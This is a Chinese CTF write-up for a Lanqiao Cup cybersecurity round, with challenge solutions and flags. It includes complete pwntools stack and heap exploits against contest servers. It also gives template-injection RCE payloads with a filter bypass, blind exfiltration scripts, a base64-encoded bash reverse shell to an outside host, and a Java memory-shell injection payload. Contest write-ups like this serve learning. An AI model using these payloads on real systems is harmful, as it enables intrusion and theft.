第二届蓝桥杯网络安全春秋赛初赛

情报收集-爬虫协议
访问robots.txt

继续访问/d7cb58d115e476f904f25d90e263749d/

得到flag
flag{72bd8598-12b9-4fa7-87ca-aaf49b5554ba}
数据分析-packet
追踪HTTP,得到密文flag

Base64解码得到flag
flag{7d6f17a4-2b0a-467d-8a42-66750368c249}
数据分析-lose【赛后复现】
压缩包密码爆破之后解压出来,里面有原图片,水印图片,加密算法lose.py
其中lose.py如下
import cv2
import pywt
import np
class WaterMarkDWT:
def __init__(self, origin: str, watermark: str, key: int, weight: list):
self.key = key
self.img = cv2.imread(origin)
self.mark = cv2.imread(watermark)
self.coef = weight
def arnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = (i + b * j) % r
y = (a * i + (a * b + 1) * j) % c
p[x, y] = img[i, j]
return p
def deArnold(self, img):
r, c = img.shape
p = np.zeros((r, c), np.uint8)
a, b = 1, 1
for k in range(self.key):
for i in range(r):
for j in range(c):
x = ((a * b + 1) * i - b * j) % r
y = (-a * i + j) % c
p[x, y] = img[i, j]
return p
def get(self, size: tuple = (1200, 1200), flag: int = None):
img = cv2.resize(self.img, size)
img1 = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)
img2 = cv2.cvtColor(self.mark, cv2.COLOR_RGB2GRAY)
c = pywt.wavedec2(img2, 'db2', level=3)
[cl, (cH3, cV3, cD3), (cH2, cV2, cD2), (cH1, cV1, cD1)] = c
d = pywt.wavedec2(img1, 'db2', level=3)
[dl, (dH3, dV3, dD3), (dH2, dV2, dD2), (dH1, dV1, dD1)] = d
a1, a2, a3, a4 = self.coef
ca1 = (cl - dl) * a1
ch1 = (cH3 - dH3) * a2
cv1 = (cV3 - dV3) * a3
cd1 = (cD3 - dD3) * a4
waterImg = pywt.waverec2([ca1, (ch1, cv1, cd1)], 'db2')
waterImg = np.array(waterImg, np.uint8)
waterImg = self.deArnold(waterImg)
kernel = np.ones((3, 3), np.uint8)
if flag == 0:
waterImg = cv2.erode(waterImg, kernel)
elif flag == 1:
waterImg = cv2.dilate(waterImg, kernel)
cv2.imwrite('水印.png', waterImg)
return waterImg
if __name__ == '__main__':
img = 'a.png'
waterImg=''
k = 20
xs = [0.2, 0.2, 0.5, 0.4]
W1 = WaterMarkDWT(img, waterImg, k, xs)
调用一下get函数即可,exp如下
if __name__ == '__main__':
img = 'a.png'
watermark = 'newImg.png'
k = 20
xs = [0.2, 0.2, 0.5, 0.4]
W1 = WaterMarkDWT(img, watermark, k, xs)
extracted_watermark = W1.get()
cv2.imwrite('flag.png', extracted_watermark)

flag{0642820a-44c0-4c7d-a259-68b15aca8840}
密码破解-cc
AES解密,逆一下就行

flag{6500e76e-15fb-42e8-8f29-a309ab73ba38}
密码破解-Theorem
费马分解PQ,正常解RSA即可
from Crypto.Util.number import *
d1=4218387668018915625720266396593862419917073471510522718205354605765842130260156168132376152403329034145938741283222306099114824746204800218811277063324566
d2=9600627113582853774131075212313403348273644858279673841760714353580493485117716382652419880115319186763984899736188607228846934836782353387850747253170850
e = 65537
n = 94581028682900113123648734937784634645486813867065294159875516514520556881461611966096883566806571691879115766917833117123695776131443081658364855087575006641022211136751071900710589699171982563753011439999297865781908255529833932820965169382130385236359802696280004495552191520878864368741633686036192501791
c=36423517465893675519815622861961872192784685202298519340922692662559402449554596309518386263035128551037586034375613936036935256444185038640625700728791201299960866688949056632874866621825012134973285965672502404517179243752689740766636653543223559495428281042737266438408338914031484466542505299050233075829
p=gmpy2.next_prime(gmpy2.iroot(n,2)[0])
q=n//p
print(p)
print(q)
phi=(p-1)*(q-1)
n=p*q
d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,n)))

flag{5f00e1b9-2933-42ad-b4e1-069f6aa98e9a}
密码破解-Signature【赛后复现】
ECDSA椭圆曲线数字签名算法
题目如下
import ecdsa
import random
def ecdsa_test(dA,k):
sk = ecdsa.SigningKey.from_secret_exponent(
secexp=dA,
curve=ecdsa.SECP256k1
)
sig1 = sk.sign(data=b'Hi.', k=k).hex()
sig2 = sk.sign(data=b'hello.', k=k).hex()
r1 = int(sig1[:64], 16)
s1 = int(sig1[64:], 16)
s2 = int(sig2[64:], 16)
return r1,s1,s2
if __name__ == '__main__':
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
a = random.randint(0,n)
flag = 'flag{' + str(a) + "}"
b = random.randint(0,n)
print(ecdsa_test(a,b))
# (4690192503304946823926998585663150874421527890534303129755098666293734606680, 111157363347893999914897601390136910031659525525419989250638426589503279490788, 74486305819584508240056247318325239805160339288252987178597122489325719901254)
分析
椭圆曲线数字签名算法,它利用椭圆曲线密码学(ECC)对数字签名算法(DSA)进行模拟,其安全性基于椭圆曲线离散对数问题。但是当某些数值相同时会出现一些安全问题。
分析代码可以看出,存在随机数重复使用。具体来说,这段代码中签名的过程中使用了相同的随机数 k 来对不同的消息进行签名。这种情况下,可以通过分析两个相同 k 值对应的消息签名来恢复私钥 dA。
在 ECDSA 中,每次签名过程中都会使用一个随机数 k,以确保生成唯一的签名。然而,如果相同的随机数 k 被重复使用来对不同的消息进行签名,攻击者就有可能通过数学分析和推导计算出私钥 dA。
考察的是椭圆曲线中的签名整数k相同的攻击利用方式
sig1 = sk.sign(data=b'Hi.', k=k).hex()
sig2 = sk.sign(data=b'hello.', k=k).hex()
sig1和sig2的k相同,r也是用的相同的r1,同时由sig1和sig2生成对应的s1和s2
s1 = int(sig1[64:], 16)
s2 = int(sig2[64:], 16)
可以得到以下公式来得到k
s1 = k^-1 (z1 + rda) mod n
s2 = k^-1 (z2 + rda) mod n
s1 - s2 = k^-1 (z1 - z2) mod n
K = (s1-s2)^-1 * (z1 -z2) mod n
exp如下
1
from gmpy2 import *
from Crypto.Util.number import *
from hashlib import *
n= 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
r2 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254
z1 = sha1(b'Hi.').digest()
z2 = sha1(b'hello.').digest()
s1_1 = inverse(s1, n)
s2_1 = inverse(s2, n)
def check(key):
for i in range(len(key)):
if key[i] < 32 or key[i] > 127:
return 0
return 1
x = (s2_1*bytes_to_long(z2) - s1_1*bytes_to_long(z1))%n
key = x*inverse(s1_1*r1-s2_1*r2, n)%n
print(key)
2
import sympy
from hashlib import sha1
from Cryptodome.Util.number import long_to_bytes , bytes_to_long
def calculate_private_key(r1, s1, s2, h1, h2, n):
# 计算k值
k = ((h1 - h2) * sympy.mod_inverse(s1 - s2, n)) % n
# 计算私钥dA
dA = (sympy.mod_inverse(r1, n) * (k * s1 - h1)) % n
return dA
if __name__ == "__main__":
# 定义椭圆曲线的参数
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
# 签名中的r1, s1, s2值
r1 = 4690192503304946823926998585663150874421527890534303129755098666293734606680
s1 = 111157363347893999914897601390136910031659525525419989250638426589503279490788
s2 = 74486305819584508240056247318325239805160339288252987178597122489325719901254
h1 = bytes_to_long(sha1(b'Hi.').digest())
h2 = bytes_to_long(sha1(b'hello.').digest())
private_key = calculate_private_key(r1, s1, s2, h1, h2, n)
print(f'flag{{{private_key}}}')
flag{40355055231406097504270940121798355439363616832290875140843417522164091270174}
逆向分析- rc4
法一
打断点即可得到flag


flag{12601b2b-2f1e-468a-ae43-92391ff76ef3}
法二
正常逆向分析

找到密文数组v5,h改成十六进制,shift+e复制出来,以及密钥gamelab@,rc4是对称加密,s_box是根据密钥来打乱的
exp如下
key = 'gamelab@'
v5 = 42*[0]
v5[0] = 0xB6
v5[1] = 0x42
v5[2] = 0xB7
v5[3] = 0xFC
v5[4] = 0xF0
v5[5] = 0xA2
v5[6] = 0x5E
v5[7] = 0xA9
v5[8] = 0x3D
v5[9] = 0x29
v5[10] = 0x36
v5[11] = 0x1F
v5[12] = 0x54
v5[13] = 0x29
v5[14] = 0x72
v5[15] = 0xA8
v5[16] = 0x63
v5[17] = 0x32
v5[18] = 0xF2
v5[19] = 0x44
v5[20] = 0x8B
v5[21] = 0x85
v5[22] = 0xEC
v5[23] = 0xD
v5[24] = 0xAD
v5[25] = 0x3F
v5[26] = 0x93
v5[27] = 0xA3
v5[28] = 0x92
v5[29] = 0x74
v5[30] = 0x81
v5[31] = 0x65
v5[32] = 0x69
v5[33] = 0xEC
v5[34] = 0xE4
v5[35] = 0x39
v5[36] = 0x85
v5[37] = 0xA9
v5[38] = 0xCA
v5[39] = 0xAF
v5[40] = 0xB2
v5[41] = 0xC6
for num in v5:
print(hex(num),end="")
def rc4(key, text):
S = list(range(256))
j = 0
out = []
# KSA Phase
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# PRGA Phase
i = j = 0
for char in text:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(char ^ S[(S[i] + S[j]) % 256])
return out
# 密钥和密文
key = 'gamelab@'
encrypted_text = v5
# 将字符串密钥转换为字节列表
key_bytes = [ord(char) for char in key]
# 解密
decrypted_bytes = rc4(key_bytes, encrypted_text)
# 将解密后的字节转换为字符串
decrypted_text = ''.join(chr(byte) for byte in decrypted_bytes)
print("Decrypted text:", decrypted_text)
flag{12601b2b-2f1e-468a-ae43-92391ff76ef3}
逆向分析-欢乐时光【赛后复现】
加密是魔改xxtea变种,修改了加密的轮数,下面代码中的参数v9:
__int64 __fastcall cry(_DWORD *a1, int a2, __int64 a3)
{
unsigned int *v3; // rax
_DWORD *v4; // rax
__int64 result; // rax
unsigned int v6; // [rsp+20h] [rbp-18h]
unsigned int v7; // [rsp+24h] [rbp-14h]
unsigned int i; // [rsp+28h] [rbp-10h]
int v9; // [rsp+2Ch] [rbp-Ch]
int v10; // [rsp+30h] [rbp-8h]
unsigned int v11; // [rsp+34h] [rbp-4h]
v9 = 415 / a2 + 114;
v7 = 0;
v6 = a1[a2 - 1];
do
{
v7 -= 0x61C88647;
v10 = (v7 >> 2) & 3;
for ( i = 0; i < a2 - 1; ++i )
{
v11 = a1[i + 1];
v3 = &a1[i];
*v3 += ((v11 ^ v7) + (v6 ^ *(_DWORD *)(4LL * (v10 ^ i & 3) + a3))) ^ (((4 * v11) ^ (v6 >> 5))
+ ((v11 >> 3) ^ (16 * v6)));
v6 = *v3;
}
v4 = &a1[a2 - 1];
*v4 += ((*a1 ^ v7) + (v6 ^ *(_DWORD *)(4LL * (v10 ^ i & 3) + a3))) ^ (((4 * *a1) ^ (v6 >> 5))
+ ((*a1 >> 3) ^ (16 * v6)));
result = (unsigned int)*v4;
v6 = result;
--v9;
}
while ( v9 );
return result;
}
直接逆向解密
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1)
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1)
{
n = -n;
rounds = 114 + 415/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
uint32_t v[]= {1208664588, 3465558002, 2350981144, 244490637, 2751681140, 611560113, 2851068760, 2771174856, 3828534097, 3494810147, 1875931283, 0};
uint32_t const k[4]= {2036950869, 1731489644, 1763906097, 1600602673};
int n = 11;
btea(v, -n, k);
for(int i = 0; i < sizeof(v); i++)
{
printf("%d, ", ((char *)v)[i]);
}
puts((char *)v);
return 0;
}
漏洞挖掘分析- fd
查看主函数,read函数存在溢出

发现sh被过滤了

构造$0,用exec 1>&0改重定向就能看到cat flag内容,脚本如下
# -*- coding:UTF-8 -*- #
"""
@filename:1111111.py
@auther:故里
@time:2024--27
"""
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def bug():
gdb.attach(p)
pause()
context(os='linux', arch='amd64', log_level='debug')
p = remote('47.93.142.240', 43042)
rl("restricted stack.\n")
pay=b'$0'
s(pay)
rl("...\n")
pay=b'a'*0x28+p64(0x0000000000400933)+p64(0x601090)+p64(0x400778)
s(pay)
pause()
sl(b'exec 1>&0')
inter()

flag{a17f8090-9cf3-452d-bda3-a432a25fe1ff}
漏洞挖掘分析- ezheap
堆溢出,存在uaf漏洞,利用Fastbin reverse into tcache 改末字节可以申请回来一个重叠堆块利用这个堆块改size,造一个大堆块,布置好堆块,然后free进unsorted bin,之后再次利用这个堆块,改堆块的fd即可申请回来free hook,改为system
from pwn import *
def print_orange(text):
print('\x1b[01;38;5;214m' + text + '\x1b[0m')
def print_red(text):
print('\x1b[01;38;5;1m' + text + '\x1b[0m')
def send(data):
p.send(data)
def send_after(delimiter, data):
p.sendafter(delimiter, data)
def send_line(data):
p.sendline(data)
def send_line_after(delimiter, data):
p.sendlineafter(delimiter, data)
def receive():
return p.recv()
def print_receive():
print(p.recv())
def receive_until(delimiter):
return p.recvuntil(delimiter)
def interact():
p.interactive()
def attach_gdb():
gdb.attach(p)
pause()
def fetch_address():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def compute_system_binsh():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = remote('47.93.142.153', 16847)
libc = ELF('./libc.so.6')
def allocate(content):
receive_until("4.exit\n")
send_line(str(1))
sleep(0.2)
send(content)
def free(index):
receive_until("4.exit\n")
send_line(str(2))
sleep(0.2)
send_line(str(index))
def display(index):
receive_until("4.exit\n")
send_line(str(3))
sleep(0.2)
send_line(str(index))
def hack(index):
receive_until("4.exit\n")
# attach_gdb()
send_line(str(0x202405))
sleep(0.5)
send_line(str(index))
allocate(b'\x00' * 0x38 + p64(0x61))
allocate(b'\x00' * 0x28 + p64(0x61))
for i in range(12):
allocate(b'a')
for i in range(7):
free(i + 2) # Indices 2-8
free(9)
free(10)
hack(0)
free(1)
free(0)
for i in range(7):
allocate(b'a') # Indices 0, 1, 2, 6
allocate(b'\x30') # Index 8
allocate(b'a') # Index 9
allocate(b'a') # Index 10
allocate(b'\x00' * 0x28 + p64(0x421)) # Index 11
free(6)
allocate(b'a')
display(6)
libc_base = fetch_address() - 0x1ecf61
print_orange(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
print_orange(hex(free_hook))
system, bin_sh = compute_system_binsh()
free(11)
free(6)
free(10)
allocate(b'\x00' * 0x28 + p64(0x61) + p64(free_hook))
allocate(b'/bin/sh\x00')
allocate(p64(system))
free(10)
interact()

flag{08a7692d-d905-45ee-a0b9-b6667b9976ea}
漏洞挖掘分析-ezjava【赛后复现】
反编译审计源码

@Controller
/* loaded from: ezjava.jar:BOOT-INF/classes/ctf/construction/ezjava/controller/IndexController.class */
public class IndexController {
@RequestMapping(value = {"/"}, method = {RequestMethod.GET})
@ResponseBody
public String index() {
return "Index";
}
@RequestMapping(value = {"/"}, method = {RequestMethod.POST})
@ResponseBody
public String render_tmp(@RequestParam String str) {
if (str.contains("new") || str.contains(GroovyTemplateProperties.DEFAULT_REQUEST_CONTEXT_ATTRIBUTE) || str.contains("Class") || str.contains("UNIXProcess") || str.contains("ProcessBuilder") || str.contains("Runtime")) {
return "NO RCE";
}
JetTemplate template = JetEngine.create().createTemplate(str);
StringWriter out = new StringWriter();
template.render((Map<String, Object>) null, out);
System.out.println(out.toString());
return "RCE";
}
}
目的就是RCE,POST传参/,str传参就会进入功能点,也就是漏洞点,过滤了一些危险字符
(str.contains("new") || str.contains(GroovyTemplateProperties.DEFAULT_REQUEST_CONTEXT_ATTRIBUTE) || str.contains("Class") || str.contains("UNIXProcess") || str.contains("ProcessBuilder") || str.contains("Runtime"))
如果str
中不包含上述敏感关键字,代码将使用JetTemplate引擎创建一个模板,其中模板的内容由str
提供。使用StringWriter
作为输出缓冲区来收集模板的输出结果。模板被渲染(可能包含动态数据),并且结果被打印到控制台。
方法返回"RCE"
作为响应,暗示已经进行了某种形式的远程代码执行(尽管通过安全检查意图是阻止实际的危险执行),也就是说无回显RCE.
攻击思路就是模板渲染导致模板注入->RCE,对于出网可以考虑外带或者反弹shell,不出网就要考虑报错外带数据。
java执行命令就是${xxx}即可
## 函数调用 function
`jetbrick-template` 还支持函数调用,如 `${now()}`, `${fileGet("/test.txt")}`。
法一
在jetbrick.util.ShellUtils找到内置的shell方法

public static Result shell(String command, File directory, Map<String, String> envp) {
if (SystemUtils.IS_OS_WINDOWS) {
return execute(directory, envp, "cmd.exe", "/c", command);
}
return execute(directory, envp, "/bin/sh", "-c", command);
}
所以调用这个内置shell的话就是以下命令
${jetbrick.util.ShellUtils::shell('id')}

可以看到成功执行并在控制台输出结果,但是前端无回显如何来接受执行结果需要思考一下,调用powershell通过读取flag每一个字符正确与否通过时间来判断正确,payload如下
${jetbrick.util.ShellUtils::shell('powershell -Command "if((Get-Content d:/flag.txt)[0] -eq \'f\'){ sleep(1) } else { exit 1 }"')}

脚本如下【先放这里,凡是脚本有点问题,奈何python学的一塌糊涂,脚本中的payload中shell('powershell 这地方传值的时候会加上转义符\,导致payload报错,后续想办法改一下代码转义符去掉就可以正常了】
import requests
import string
import time
burp0_url = "http://192.168.3.11:80/"
burp0_headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": "http://127.0.0.1",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": "http://127.0.0.1/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.9",
"sec-ch-ua": "\"Not/A)Brand\";v=\"8\", \"Chromium\";v=\"126\", \"Google Chrome\";v=\"126\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-site": "same-origin",
"sec-fetch-mode": "navigate",
"sec-fetch-user": "?1",
"sec-fetch-dest": "document",
"Connection": "close"
}
# 循环遍历文本的每个位置
for i in range(42):
for char in string.ascii_letters + string.digits: # 测试所有字母和数字
burp0_data = {
"str": f"${{jetbrick.util.ShellUtils::shell('powershell -Command \"if((Get-Content d:/flag.txt)[{i}] -eq \"{char}\"){{ sleep(1) }} else {{ exit 1 }}\"')}}"
}
print(burp0_data)
try:
start_time = time.time() # 记录请求开始时间
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
elapsed_time = time.time() - start_time # 计算请求响应时间
if elapsed_time > 0.5: # 如果响应时间大于1秒,则认为找到了正确的字符
print(f"Character '{char}' at position {i} is correct.")
break # 找到正确字符后跳出内层循环
else:
print(f"Testing position {i} with character '{char}': Response time {elapsed_time} seconds")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
有个师傅是直接用的python语法来盲注的,脚本也放一下,万一以后能用到呢
import os;b=os.popen('cat /*').read()[0];import time;time.sleep((b=='?')*3)
exp如下
import requests
import string
import base64
flag=''
index=0
#url="http://eci-2ze656jixu9mjq8i5o03.cloudeci1.ichunqiu.com:8888"
url="http://localhost"
d=[chr(i) for i in range(0x20,0x80)]
d=string.printable
while 1:
for i in d:
exp=("import os;b=os.popen('cat /*').read()["+str(index)+"];import time;time.sleep((b=='"+i+"')*3)").encode()
exp=base64.b64encode(exp).decode()
payload={"str":"${jetbrick.util.ShellUtils::shell(\"s="+exp+";s=`echo $s|base64 -d`;echo $s|python3\")}"}
req=requests.post(url=url,data=payload)
if req.status_code==504:
index+=1
flag+=i
print(flag)
break
if i==string.printable[-1]:
break
print("should be done")
print(flag)
法二
打内存马
针对上边被过滤的字符可以通过+来绕过
eg:
new --> ne"%2b"w
构造payload
jetbrick.template.JetEngine

public final class JetEngineImpl extends JetEngine

@Override // jetbrick.template.JetEngine
public JetTemplate createTemplate(String source) {
return createTemplate(SourceResource.DEFAULT_NAME, source);
}
调用这个,所以初步构造的payload如下
str=a=${jetbrick.template.JetEngine::create().createTemplate("").render({},java.lang.System::out)};
出网情况的反弹shell的payload如下
java.lang.Runtime.getRuntime().exec(…)
.render({}, java.lang.System::out)
: 将模板渲染的结果输出到系统控制台。
str=a=${jetbrick.template.JetEngine::create().createTemplate("${java.lang.Run"%2b"time::getRu"%2b"ntime().exec('bash-c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMS4xLjEuMS8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}')}").render({},java.lang.System::out)};
有个师傅写了打内存马的payload模板
#T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}
简化后:
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()
内存马用jMG-gui-obf-1.0.8.jar生成即可,最终payload如下
str=a=${jetbrick.template.JetEngine::create().createTemplate("${ne"%2b"w+org.spr"%2b"ingframework.expression.spel.standard.SpelExpressionParser().parseExpression('T(org.spr'%2b'ingframework.cglib.core.ReflectUtils).defineCla'%2b'ss(\\'InceptorMemShell\\',T(org.spr'%2b'ingframework.util.Base64Utils).decodeFromString(\\'yv66.......\\'),T(java.lang.Thread).currentThread().getContextCl'%2b'assLoader()).n'%2b'ewInstance()').getValue()}").render({},java.lang.System::out)};
